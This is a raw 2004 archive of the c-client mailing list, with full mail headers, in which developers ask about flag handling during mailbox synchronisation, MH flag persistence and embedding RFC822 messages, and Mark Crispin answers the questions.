Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Since Mark seems to be listening on the list, but there's no reply yet: let's make the requirements a bit lighter and ask some more specific questions. I'll cut this email in two, since it is two different questions actually. On Wed, 9 Jun 2004, Tomas Pospisek's Mailing Lists wrote: > I'm trying to fix mailsync a mail synchronizer to properly work wrt to > flags. I'm trying to accomplish this by using c-client. > > I need to: > > * read the headers in box A > * read the headers in box B > * determine from the header which emails I have already seen in what > inbox (same algorithm CVS is using) > * copy all messages that A hasn't seen from B to A > * copy all messages that B hasn't seen from A to B > * delete all messages on B that were deleted on A > * delete all messages on A that were deleted on B > * expunge A > * expunge B > > Now the mailsync source code is juggling with mail_open in a rather ugly > way and I am not sure whether it is really succeeding in all cases > to keep all the flags (especially "seen") intact on both A and B and at > the same time trying to do that transparently with respect to where those > boxes are (IMAP, mbox, mh, remote, locally, ...). > > So my first question is: > is there a way to achieve the above with c-client, that is guaranteed to > work? Basically this means: > > * open a box for reading messages > * open a box for appending messages > * expunge a box > > and at the same time keep all flags as they were. "Expunging" a box will, AFAIK traverse all messages, look for those that are marked for deletion and remove them. A side effect of this seems to be, that all those traversed messages seem to get marked as "Seen" aka "Status: O" ("old"). Is this a requirement of some sort? Isn't there a way around it? So if there isn't - can we fullfull our requirements, that is to leave all flags alone, even the "Seen" one, if we don't expunge? Or can't that be guaranteed even then? *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- From pinedev@shivax2.cac.washington.edu Thu Jun 10 00:37:27 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 00:37:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5A7bQmV017974 for ; Thu, 10 Jun 2004 00:37:26 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5A7bOdB007197 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 00:37:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5A7bDCK007432; Thu, 10 Jun 2004 00:37:13 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5A7aM2X070860 for ; Thu, 10 Jun 2004 00:36:22 -0700 Received: from mail2.bluewin.ch (mail2.bluewin.ch [195.186.4.73]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5A7aHNL006263 for ; Thu, 10 Jun 2004 00:36:17 -0700 Received: from localhost (83.76.92.185) by mail2.bluewin.ch (Bluewin AG 7.0.028) id 40A468960033F913 for c-client@u.washington.edu; Thu, 10 Jun 2004 07:36:16 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1BYK6i-000180-00 for ; Thu, 10 Jun 2004 09:36:16 +0200 Message-Id: Date: Thu, 10 Jun 2004 09:36:16 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: c-client@u.washington.edu Subject: mh not keeping flags intact when doing a check In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 Jun 2004, Tomas Pospisek's Mailing Lists wrote: > Second question: > some of my MH users say that re-mail_open'ing a MH store will make it > forget all all removal flags. > > Is this a known bug/problem/feature. Is there a work around or should I > try to fix c-clients source with respect to this? osdep/unix/mh.c says: void mh_check (MAILSTREAM *stream) { /* Perhaps in the future this will preserve flags */ if (mh_ping (stream)) mm_log ("Check completed",(long) NIL); } So I guess the problem is known. But I don't understand what would be required to fix it. I can't see the big picture. AFAI can see mh_ping is not changing the status of messages. So do you flag messages in memory or something similar when marking them for deletion? And so a mh_ping doesn't take in memory structures in account and only checks "on disk" messages and by this invalidates in memory information? But even then - I don't see mh_ping flushing any in memory data? So where do those flags get lost? *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 10 08:20:18 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 08:20:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AFKI0D005455 for ; Thu, 10 Jun 2004 08:20:18 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AFKGTQ020949 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 08:20:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AFJiOg005366; Thu, 10 Jun 2004 08:19:44 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AFIJcd055388 for ; Thu, 10 Jun 2004 08:18:19 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe5.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AFIEtF026946 for ; Thu, 10 Jun 2004 08:18:14 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id 767491E0089 for ; Thu, 10 Jun 2004 10:18:13 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 1CDAE1E008E; Thu, 10 Jun 2004 10:18:13 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 5C9161E0089 for ; Thu, 10 Jun 2004 10:18:12 -0500 (CDT) Message-Id: Date: Thu, 10 Jun 2004 10:18:11 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: Insert Embedded Messages In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to get c-client to see a embedded message that I have inserted in the BODY structure. I got the structure to look right after I sent the email, but the embedded message is missing (no header or body). What I did is do the following: part->body.type = TYPEMESSAGE; part->body.subtype = cpystr("RFC822"); part->body.disposition.type = cpystr("ATTACHMENT"); part->body.nested.msg = mail_newmsg(); part->body.nested.msg->env = mail_newenvelope(); part->body.nested.msg->body = mail_newbody(); // setup the embedded message header embed->createEnvelope(part->body.nested.msg->env); // setup the embedded message body embed->createBody(part, part->body.nested.msg->body); Seems like c-client is ignoring the "part->body.nested.msg" part. Is there something I'm missing? Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 10 09:00:49 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 09:00:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AG0mqt007495 for ; Thu, 10 Jun 2004 09:00:48 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AG0kUl030756 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 09:00:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AG0Njb015592; Thu, 10 Jun 2004 09:00:23 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AFxQ0l070720 for ; Thu, 10 Jun 2004 08:59:26 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AFxQe5008574 for ; Thu, 10 Jun 2004 08:59:26 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AFxPNh020061; Thu, 10 Jun 2004 08:59:25 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AFxPnl007712; Thu, 10 Jun 2004 08:59:25 -0700 Message-Id: Date: Thu, 10 Jun 2004 08:59:25 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: Insert Embedded Messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004, Shawn Walker wrote: > I'm trying to get c-client to see a embedded message that I have inserted in > the BODY structure. I presume that you meant to say, "I am trying to *send* an embedded message, but when I go to read the message that I have sent I see that it is empty." You apparently missed the point where it says that composing a message that is not of type MULTIPART, you use body->contents.text (store the text in body->contents.text.data and its size in body->contents.text.size). You do this even when body->type is TYPEMESSAGE and body->subtype is "RFC822"; you supply the complete message in body->contents.text.data instead of using body->nested.msg. Put another way, when sending, embedded messages look like any other type of text attachments. The body->nested.msg stuff is only used when reading messages. The body structure for a message being sent is not the same as that for a message that was read back. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 10 09:07:37 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 09:07:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AG7bSM007812 for ; Thu, 10 Jun 2004 09:07:37 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AG7Ztn031042 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 09:07:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AG6n3u013400; Thu, 10 Jun 2004 09:06:49 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AG65JT065876 for ; Thu, 10 Jun 2004 09:06:05 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AG61kx025707 for ; Thu, 10 Jun 2004 09:06:02 -0700 Received: from mail.bynari.net (localhost [127.0.0.1]) by bynari.net (Postfix) with ESMTP id 89A9A1E008E for ; Thu, 10 Jun 2004 11:06:01 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 1001) id 309F31E008F; Thu, 10 Jun 2004 11:06:01 -0500 (CDT) Received: from redhook.bynari.net (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 3D3431E008E for ; Thu, 10 Jun 2004 11:06:00 -0500 (CDT) Message-Id: Date: Thu, 10 Jun 2004 11:05:58 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Shawn Walker" To: c-client@u.washington.edu Subject: Re: Insert Embedded Messages In-Reply-To: References: Content-Type: text/plain; format=flowed; delsp=yes; charset=iso-8859-15 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Spam-Checker-Version: SpamAssassin 2.61 (1.212.2.1-2003-12-09-exp) on mail.bynari.net X-Spam-Level: X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham version=2.61 X-Antivirus: Scanned by F-Prot Antivirus (http://www.f-prot.com) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hrmm, so what about the header? Do I need to format the header into a string and put both header and body of the embedded message and set body->contents.text.data and body->contents.text.size? On Thu, 10 Jun 2004 08:59:25 -0700 (PDT), Mark Crispin wrote: > On Thu, 10 Jun 2004, Shawn Walker wrote: >> I'm trying to get c-client to see a embedded message that I have >> inserted in the BODY structure. > > I presume that you meant to say, "I am trying to *send* an embedded > message, but when I go to read the message that I have sent I see that > it is empty." > > You apparently missed the point where it says that composing a message > that is not of type MULTIPART, you use body->contents.text (store the > text in body->contents.text.data and its size in > body->contents.text.size). > > You do this even when body->type is TYPEMESSAGE and body->subtype is > "RFC822"; you supply the complete message in body->contents.text.data > instead of using body->nested.msg. > > Put another way, when sending, embedded messages look like any other > type of text attachments. The body->nested.msg stuff is only used when > reading messages. The body structure for a message being sent is not > the same as that for a message that was read back. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > From pinedev@shivax2.cac.washington.edu Thu Jun 10 09:13:39 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 09:13:39 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGDdKx008423 for ; Thu, 10 Jun 2004 09:13:39 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGDbaO023254 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 09:13:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AGDCfT005236; Thu, 10 Jun 2004 09:13:12 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AGCUGm047986 for ; Thu, 10 Jun 2004 09:12:30 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AGCToH006404 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 10 Jun 2004 09:12:29 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGCSpT005056; Thu, 10 Jun 2004 09:12:28 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGCS7p008406; Thu, 10 Jun 2004 09:12:28 -0700 Message-Id: Date: Thu, 10 Jun 2004 09:12:28 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: Insert Embedded Messages In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004, Shawn Walker wrote: > Hrmm, so what about the header? Do I need to format the header into a string > and put both header and body of the embedded message and set > body->contents.text.data and body->contents.text.size? Yes, if you're forwarding a message, just fetch the message as raw text. Since forwardings is what most embedded messages are (digests are after all just a form of forwarding), it turned out to make no sense to break a message into ENVELOPE and BODY only to have the sender reassemble them. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 10 09:17:02 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 09:17:02 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGH2YL008569 for ; Thu, 10 Jun 2004 09:17:02 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGH0GY031477 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 09:17:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AGGNe8005270; Thu, 10 Jun 2004 09:16:23 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AGFrc3066476 for ; Thu, 10 Jun 2004 09:15:53 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AGFqYW007341 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 10 Jun 2004 09:15:52 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGFpsR017755; Thu, 10 Jun 2004 09:15:51 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGFp3l008467; Thu, 10 Jun 2004 09:15:51 -0700 Message-Id: Date: Thu, 10 Jun 2004 09:15:51 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: Re: open_mail, flags and synchronization In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004, Tomas Pospisek's Mailing Lists wrote: > "Expunging" a box will, AFAIK traverse all messages, look for those that > are marked for deletion and remove them. A side effect of this seems to > be, that all those traversed messages seem to get marked as "Seen" aka > "Status: O" ("old"). Is this a requirement of some sort? Isn't there a way > around it? That's not "Seen" status; that's "Recent" status or rather "not Recent" status. "Seen" is "Status: R". No, there is no way to get around the "not Recent" happening once the mailbox has been opened readwrite. The definition of "Recent" is that the message has arrived since the last time the mailbox was opened readwrite. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 10 09:19:43 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 09:19:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGJhnk008717 for ; Thu, 10 Jun 2004 09:19:43 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGJeJW023482 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 09:19:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AGJT01016110; Thu, 10 Jun 2004 09:19:29 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AGJ1Yl070892 for ; Thu, 10 Jun 2004 09:19:01 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AGJ0pN019593 for ; Thu, 10 Jun 2004 09:19:00 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGIx64006415; Thu, 10 Jun 2004 09:18:59 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGIxeT008788; Thu, 10 Jun 2004 09:18:59 -0700 Message-Id: Date: Thu, 10 Jun 2004 09:18:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Tomas Pospisek's Mailing Lists" Cc: c-client@u.washington.edu Subject: Re: mh not keeping flags intact when doing a check In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jun 2004, Tomas Pospisek's Mailing Lists wrote: > But I don't understand what would be required to fix it. I can't see > the big picture. AFAI can see mh_ping is not changing the status of > messages. mh format does not have any place to store flags permanently. Flags are only maintained for a session, after which they are lost. Some people have extended mh format to have a place to store flags, but this is effectively a different format. The only reason to use mh is to interoperate with the ancient mh program. Otherwise, you should use some other format. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 10 09:59:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 09:59:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGxVER010914 for ; Thu, 10 Jun 2004 09:59:31 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGxTk2024971 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 09:59:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5AGx0CW014046; Thu, 10 Jun 2004 09:59:00 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5AGujgf085450 for ; Thu, 10 Jun 2004 09:56:46 -0700 Received: from smtp.tt-solutions.com (lns-th2-4f-81-56-246-156.adsl.proxad.net [81.56.246.156]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5AGueRD030743 for ; Thu, 10 Jun 2004 09:56:40 -0700 Received: from nightfall ([192.168.17.76]) by smtp.tt-solutions.com with esmtp (Exim 3.35 #1 (Debian)) id 1BYSr0-0003cW-00 for ; Thu, 10 